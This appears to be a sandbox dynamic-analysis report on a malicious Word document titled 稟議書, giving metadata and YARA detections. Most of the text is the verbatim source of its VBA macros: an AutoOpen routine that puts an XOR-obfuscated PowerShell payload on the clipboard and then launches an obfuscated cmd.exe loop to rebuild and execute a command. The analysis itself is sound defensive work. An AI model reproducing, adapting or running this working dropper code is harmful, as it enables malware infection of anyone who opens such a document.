VTI SCORE: 93/100
Dynamic Analysis Report |
Classification: - |
8ed61abc371da7cf5ed2d8b9b7fdf20b8ca1b924c19fc9e8d50ca1feaccb6ae9 (SHA256)
(5)DOC20181114214.doc
Word Document
Created at 2018-11-14 09:18:00
This is a filtered view
This list contains only the embedded files and created files
Filters: |
There are no files for this filter
There are no files in this analysis
Filename | Category | Type | Severity | Actions |
---|
C:\Users\aETAdzjz\Desktop\(5)DOC20181114214.doc | Sample File | Word Document |
Suspicious
|
...
|
»
Office Information
»
Title | 稟 議 書 |
Revision | 7 |
Create Time | 2017-01-25 15:35:00+00:00 |
Modify Time | 2018-11-14 07:51:00+00:00 |
Last Printed | 2015-11-13 15:39:00+00:00 |
Document Information
»
Application | Microsoft Office Word |
App Version | 14.0 |
Template | Normal.dotm |
Document Security | SecurityFlag.NONE |
Editing Time | 5460.0 |
Page Count | 1 |
Line Count | 3 |
Paragraph Count | 1 |
Word Count | 80 |
Character Count | 459 |
Chars With Spaces | 538 |
Heading Pairs | タイトル, Title |
Titles Of Parts | 稟 議 書, 稟 議 書 |
scale_crop | False |
shared_doc | False |
VBA Macros (2)
»
Macro #1: ThisDocument
»
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub ClearClipboard()
OpenClipboard (0)
EmptyClipboard
CloseClipboard
End Sub
Sub Forms2F()
njk
Call Shell(marrsell + sdemom, 14 - 14)
End Sub
Sub AutoOpen()
Forms2F
End Sub
Function marrsell()
marrsell = AndPlus
End Function
Sub njk()
sStr = librarybooks
mmm (sStr)
End Sub
Function settler()
settler = "C"
End Function
Function doublecheck()
doublecheck = "md.exe /V:ON/C""set begw=r$Oq\a+N,=^^oWR^&;1TSXs{u""""[fQ:K4.7e)-6'pV5zMkCDIxL(yGn8A]UJhmt2B0blP9YwEjgcH3iv}Fd &&for %4 in (38,2,12,70,0,18,74,70,48,48,81,81,35,7,2,38,81,35,12,81,16,81,81,81,24,81,14,81,49,81,1,66,18,58,11,59,33,25,30,55,6,1,38,18,58,2,59,33,25,75,63,55,6,37,19,37,34,81,49,81,49,35,57,2,76,52,25,13,70,72,70,19,55,28,28,59,5,17,73,74,70,20,49,4,24,81,34,81,34,67,75,55,13,5,74,73,25,8,37,79,66,0,37,81,33,44,5,48,66,33,0,73,35,36,67,55,13,5,74,73,25,8,37,62,73,38,37,81,81,33,44,5,48,66,33,0,73,35,81,81,36,75,55,13,5,74,73,25,8,37,29,52,44,37,81,33,44,5,48,66,33,0,73,35,81,81,30,75,55,13,5,74,73,25,8,37,71,22,50,37,81,81,33,44,5,48,66,33,0,73,35,34,37,34,78,80,21,29,52,44,49,34,79,66,0,33,76,79,66,0,8,79,66,0,47,79,66,0,26,35,81,71,22,50,78,63,21,78,16,21,71,22,50,49,31,15,34,78,71,22,50,60,19,62,73,38,70,17,71,22,50,31,78,62,62,73,38,60,21,29,52,44,9,78,80,21,29,52,44,37,6,37,15,71,22,50,60,47,33,62,73,38,17,71,22,50,31,78,37,6,3"
End Function
Function formsands()
formsands = "7,62,62,73,38,60,21,29,52,44,15,34,49,33,43,11,77,52,46,31,34,79,66,0,33,60,20,5,79,66,0,8,79,66,0,66,79,66,0,26,35,37,6,37,71,22,50,78,16,21,78,63,21,71,22,50,49,31,78,64,17,21,37,6,37,29,52,44,15,78,70,22,13,62,73,38,17,21,29,52,44,81,37,6,37,9,81,71,22,50,33,7,46,62,73,38,65,62,73,38,76,60,48,22,42,71,22,50,31,78,62,62,73,38,60,21,29,52,44,15,34,79,66,0,33,60,20,50,79,66,0,8,79,66,0,18,37,6,37,79,66,0,8,79,66,0,20,59,0,11,79,79,66,0,8,79,66,0,31,20,69,11,80,52,76,12,31,59,79,66,0,8,79,66,0,47,11,62,79,66,0,8,79,66,37,6,37,0,60,47,33,17,31,79,66,0,26,37,6,37,35,81,71,22,50,78,16,21,78,63,21,78,75,21,78,61,21,78,40,21,78,30,21,71,22,50,49,81,34,79,66,0,60,73,79,66,0,8,79,66,0,7,79,66,0,8,79,66,0,33,71,64,2,35,69,33,79,66,0,26,35,81,71,22,50,78,61,21,78,63,21,78,16,21,71,22,50,49,10,14,81,9,81,78,62,62,73,38,60,21,29,52,44,21,81,33,20,65,33,81,78,34,71,22,50,60,47,62,73,38,33,17,62,73,38,33,80,2,73,46,7,37,6,37,22,71,22,50,28,28,3,54,0,58,46,41,29,"
End Function
Function cleardatas()
cleardatas = "52,44,81,49,37,6,37,71,22,50,60,47,33,62,73,38,17,60,70,72,71,22,50,28,28,70,22,48,54,39,31,34,81,81,34,79,66,0,67,79,66,0,37,6,37,6,79,66,0,17,30,61,57,79,66,0,49,81,81,34,79,37,6,37,66,0,54,39,79,66,0,8,79,66,0,70,48,62,5,46,0,79,66,0,81,26,35,71,22,50,78,63,21,78,16,21,71,22,50,49,31,81,81,49,81,81,9,78,45,21,29,52,44,21,81,34,79,66,0,54,17,18,79,66,0,81,3,33,35,81,34,49,33,43,11,77,52,46,31,34,79,66,0,18,37,6,37,11,17,79,66,0,8,79,66,0,0,60,79,66,0,8,79,66,0,72,52,76,79,66,0,26,35,71,22,50,78,63,21,78,16,21,78,61,21,71,22,50,49,31,71,22,50,33,60,54,62,73,38,17,62,73,38,18,60,52,70,59,17,13,54,62,73,38,66,54,71,22,50,31,71,22,50,80,54,62,73,38,70,0,58,17,60,7,62,73,38,70,62,73,38,0,13,22,73,71,22,50,28,37,6,37,28,70,56,65,5,39,31,34,81,34,79,66,0,56,79,66,0,6,79,66,0,19,18,79,66,0,6,79,66,0,28,33,37,6,37,65,79,66,0,37,6,37,6,79,66,0,64,5,46,0,5,39,79,66,0,49,81,34,79,66,0,33,51,79,66,0,37,6,37,8,79,66,0,35,17,79,66,0,8,79,66,0,42,70,60,76,79,66"
End Function
Function commde()
commde = ",0,81,26,35,71,22,50,78,63,21,37,6,37,78,16,21,78,61,21,71,22,50,49,31,81,49,81,81,49,81,26,76,49,29,52,44,15,34,79,66,0,12,31,79,66,0,8,79,66,0,20,59,0,11,79,31,37,6,37,20,69,11,80,52,76,79,66,0,8,79,66,0,33,79,66,0,8,79,66,0,60,20,50,18,37,6,37,79,66,0,8,79,37,6,37,66,0,59,79,66,0,26,35,81,71,22,50,78,75,21,78,30,21,78,63,21,78,61,21,78,16,21,71,22,50,49,81,33,59,5,7,50,65,64,59,33,20,20,54,35,81,34,79,66,0,80,54,79,66,0,8,79,66,0,17,35,80,37,6,37,79,66,0,8,79,66,0,37,6,37,33,38,50,79,66,0,26,35,71,22,50,78,63,21,78,16,21,78,61,21,71,22,50,49,10,14,15,78,34,79,66,0,5,11,64,38,76,65,79,66,0,8,79,66,0,44,35,60,33,51,79,66,37,6,37,0,8,79,66,0,80,0,79,66,0,81,26,35,81,71,22,50,78,63,21,78,61,21,78,37,6,37,16,21,71,22,50,49,31,9,78,80,21,29,52,44,21,81,34,63,81,5,33,35,81,34,37,6,37,79,66,0,76,65,44,35,60,79,66,0,8,79,66,0,11,37,6,37,64,38,79,66,0,8,79,66,0,80,0,5,79,66,0,37,6,37,8,79,66,0,33,51,79,66,0,26,35,81,37,6,37,71,22,50,78,16,21,78,37,6,37,61,21,78,75,21"
End Function
Function crsss()
crsss = ",78,63,21,71,22,50,49,81,34,79,66,0,59,79,66,0,8,79,66,0,73,72,79,66,0,81,26,35,81,71,22,50,78,16,21,78,63,21,71,22,50,49,10,14,49,81,26,76,15,37,6,37,81,34,79,66,0,60,47,33,79,66,0,8,79,66,0,60,5,79,66,0,8,79,66,0,54,17,5,79,66,0,8,79,66,0,42,37,6,37,13,2,79,37,6,37,79,66,0,8,79,66,0,17,31,18,59,0,11,26,31,18,12,11,45,7,76,69,31,59,33,79,66,0,37,6,37,8,79,66,0,80,79,66,0,8,79,66,0,17,20,68,20,79,66,0,26,35,71,22,50,78,40,21,78,75,21,78,30,21,78,16,21,78,37,6,37,36,21,78,61,21,78,63,21,71,22,50,49,55,33,66,68,17,25,81,81,9,81,27,54,13,74,46,41,29,52,44,81,81,37,6,37,15,81,34,79,66,0,65,44,31,18,79,66,0,8,79,66,0,59,13,11,79,66,0,8,79,66,0,45,79,66,0,8,79,66,0,26,79,66,0,8,79,66,0,0,5,11,79,66,0,8,79,66,0,69,31,42,70,17,18,79,66,0,8,79,66,0,64,66,46,79,66,0,8,79,66,0,20,79,66,0,8,79,66,0,68,79,66,0,8,79,66,0,31,20,12,11,45,52,46,79,66,0,79,35,71,22,50,78,32,21,78,40,21,78,75,21,78,67,21,78,53,37,6,37,21,78,36,21,78,37,6,37,63,21,78,30,21,78,16,21,78,61,21,71,22,50,49,55,33,66"
End Function
Function AndPlus()
AndPlus = settler + doublecheck + formsands + cleardatas + commde + crsss
End Function
Function sdemom()
sdemom = ",68,17,25,81,9,67,17,30,61,37,6,37,71,29,52,44,81,81,15,34,79,66,0,60,79,66,0,37,6,37,8,79,66,0,54,33,0,74,17,79,66,0,8,79,66,0,31,51,7,76,45,79,66,0,8,79,66,0,80,54,79,66,0,8,79,37,6,37,66,0,70,0,58,79,66,0,26,35,71,22,37,6,37,50,78,16,21,78,63,21,78,30,21,78,61,21,78,75,21,71,22,50,49,37,6,37,55,33,38,50,60,25,81,81,9,81,22,19,20,29,52,44,37,6,37,81,37,49,49,81,49,81,34,37,47,37,6,55,30,75,25,33,59,2,74,18,38,1,6,55,16,61,25,33,59,11,58,20,66,1,81,49,10,14,81,4,24,8,37,31,37,81,8,37,0,76,72,74,17,37,6,37,60,2,37,6,37,65,33,79,17,37,81,34,34,81,34,81,24,83)do set tGCX=!tGCX!!begw:~%4,1!&&if %4 geq 83 cmd.exe /C!tGCX:~-1865!"""
End Function
Function librarybooks()
librarybooks = samrdee + AcrivDoxs + checkpic + treedocuments + FunctionalProperties + CalculationOne
End Function
Function samrdee()
samrdee = " -JO" + "in ('107%101_109v101r97O22O45O0r41r9U12H33%30_116_24H110v97_54H13U0{41_41r12O1U30O116H118{24<110_98v29H98v108v109c101<11{32<18v104U10%39<15_32H38H49O101v22O60<22v49r32c8{107v44U42_107H6H42U40_53{55U0{54v22O44U10O11%107r1_0H3U41v36%49<32O22v49H23r0v4H40O109c101v30_12<42_107<40%0H40c42H55H28O22H17%55%0r4%40O24c30U54_28r54v17U0O8<107<6%42_11{19%32{55r49c24{127<127H35v55{10v8v7U4r54U32<115U113%54%17v55U44O43v34H109U98{17%31<3_7v39H124_53O4U0r12r29%106v60{54{47H44v28%0_49_113c39_20%33v47<42c41{34O112{23%1{20U15%16c34v12U124H34%8H20<45v55r36c55{116{32r42O60v118H55O13_32U49{119O36U18H2H12{51_112v114H3r115r15U14c48<38r115v125O39r106v17c32<2{124{41{4O2c9c115U44c44{114U33O22r55<117U106U18r28r35{33O48<7v3c38r28c54{33H18r45{52%112%7H32_1O13U29%38U54{35O40r7c6%9<16O113v55{16<124<33_31v23v17<0c22O110O112H0c6H61H110_44_112v35_20_63{14_115v39r23%32<29U20O34_31U23v110O1_116O55<43_110O12H16%40r117H11{13_51H60%40{1{7c33%12%53U23O54U53%14H115v31c8O55H49H34r13c"
End Function
Function AcrivDoxs()
AcrivDoxs = "4c23c41r28{50O44U112U36r8v8U55U4c19c9U1v47{28c63O10v2_63<52{33H7U112c12U10O113_113%18U61c114%47_28v49H23H117{117O21v47_61v6r8_16%21H124r112%125O8U114H115H13v113r22<33r33%4<115O15v113r23r2H1r38<51r49%3{118c51c17H41_36c7v7<32%51U38v12r45O106v41r114{124v23c48{13c34_8r50<124O39c42H18v11c39v55%10_31O14<42c43v31H29H3_19r54O34<55{112<0{54%32r115%55U55%8U1r45O28<53%15v47H51{106O8U114%39{18%112U52v106<16v44_40O32H17c3_46c14<42r36O110%46U11U42c10O3<116v20r36c60O41U14v16H41H110c0%2U23U41r118H4_54{125H34r44U32H110U41c115c45O21<106H54<40{29H17%14v33c63_11r44H46H34{21v7{49{54H19v40H110O47{117_13U15r21r38H12r55H44v55c119%15{28%11v115v22_115_17U4v53U38r53r36r60c60<33_118c124%13c38{51r60<3v11_36%125v113U22O17%106U28r125U106{116_1O53_11r54v61_55{15r31O11c54U40U1<115O10O39r50r40c61_40r117{8U55r61r110%46<20%53{51H17v28H119r51H0O36<21{22%10U46U115_35c36r22v51<35<113%51_113U60%51O106U114{45<106v9v18r12%29{110H63v112_14{9_7%118H117U40O44r119c23c2_49c124_54H54H51%41_125c34r125r120%98H108"
End Function
Function checkpic()
checkpic = "U105%30%44v10r107v38%42U8v53{55_32O22<54H44%42r43H107H6%10O40r53O55{32_54c22<44v42r43O8<10O1<32{24%127c127H33r0%38<10O8H53{55H0U22<54c108O57v35v42O23v32v36<38{45v101O62{101<11{32H18<104v10U39O15U32<38v49_101r101v44<42H107v54_49_23{0v4<40c23{0c36_1H32<23r109{97O26v101_105_30<17_0c61{17<107r0r43U6O42H33v12v11v2O24%127H127v36H22%38<12U12%108{101_56r101{57H3v10H55v32%36c38U13r62U101v97{26<107v55<32H4O33{49v42v32U11_1c109U108r101_56H108' -split '{' -SPlIT 'C'-sPLIt 'u'-SplIT '<' -SPLit'%'-SplIT 'h'-sPlIt'V'-SpLit'O'-SpLiT'_' -SPLiT'R'| .(""{3}{1}{0}{2}"" -f 'CH-','ORea','oBjEcT','f'){ [ChAR] (${_} -bXoR(""{0}{1}"" -f '0x','45')) } )|.(""{0}{1}"" -f 'I','eX')"
End Function
Function treedocuments()
treedocuments = ""
End Function
Function FunctionalProperties()
FunctionalProperties = ""
End Function
Function CalculationOne()
CalculationOne = ""
End Function
Macro #2: Module1
»
Attribute VB_Name = "Module1"
Option Explicit
Private Declare PtrSafe Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As LongPtr) As LongPtr
Private Declare PtrSafe Function GlobalFree Lib "kernel32" (ByVal hMem As LongPtr) As LongPtr
Private Declare PtrSafe Function GlobalLock Lib "kernel32" (ByVal hMem As LongPtr) As LongPtr
Private Declare PtrSafe Function GlobalSize Lib "kernel32" (ByVal hMem As LongPtr) As LongPtr
Private Declare PtrSafe Function GlobalUnlock Lib "kernel32" (ByVal hMem As LongPtr) As Long
Private Declare PtrSafe Function OpenClipboard Lib "user32" (ByVal hwnd As LongPtr) As Long
Private Declare PtrSafe Function CloseClipboard Lib "user32" () As Long
Private Declare PtrSafe Function EmptyClipboard Lib "user32" () As Long
Private Declare PtrSafe Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As LongPtr) As LongPtr
Private Declare PtrSafe Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As LongPtr
Private Declare PtrSafe Function lstrcpy Lib "kernel32" (ByVal lpString1 As Any, ByVal lpString2 As Any) As LongPtr
Private Const GMEM_MOVEABLE = &H2
Private Const GMEM_ZEROINIT = &H40
Private Const GHND = (GMEM_MOVEABLE Or GMEM_ZEROINIT)
Public Const CF_TEXT = 1
Public Const MAXSIZE = 4096
Sub mmm(MyString As String)
Dim hGlobalMemory As LongPtr, lpGlobalMemory As LongPtr
Dim hClipMemory As LongPtr, X As Long
hGlobalMemory = GlobalAlloc(GHND, Len(MyString) + 1)
lpGlobalMemory = GlobalLock(hGlobalMemory)
lpGlobalMemory = lstrcpy(lpGlobalMemory, MyString)
If GlobalUnlock(hGlobalMemory) <> 0 Then
GoTo OutOfHere
End If
If OpenClipboard(0&) = 0 Then
Exit Sub
End If
X = EmptyClipboard()
hClipMemory = SetClipboardData(CF_TEXT, hGlobalMemory)
OutOfHere:
If CloseClipboard() = 0 Then
MsgBox "*"
End If
End Sub
YARA Matches
»
Rule Name | Rule Description | Classification | Severity | Actions |
---|---|---|---|---|
Document_Contains_Execution_Commands | Execution commands inside a document; possible dropper | - |
3/5
|
...
|
Document_Contains_Execution_Commands | Execution commands inside a document; possible dropper | - |
3/5
|
...
|
Document_Contains_Execution_Commands | Execution commands inside a document; possible dropper | - |
3/5
|
...
|
Document_Contains_Execution_Commands | Execution commands inside a document; possible dropper | - |
3/5
|
...
|
c:\users\aetadzjz\appdata\local\gdipfontcachev1.dat | Modified File | Stream |
Unknown
|
...
|
»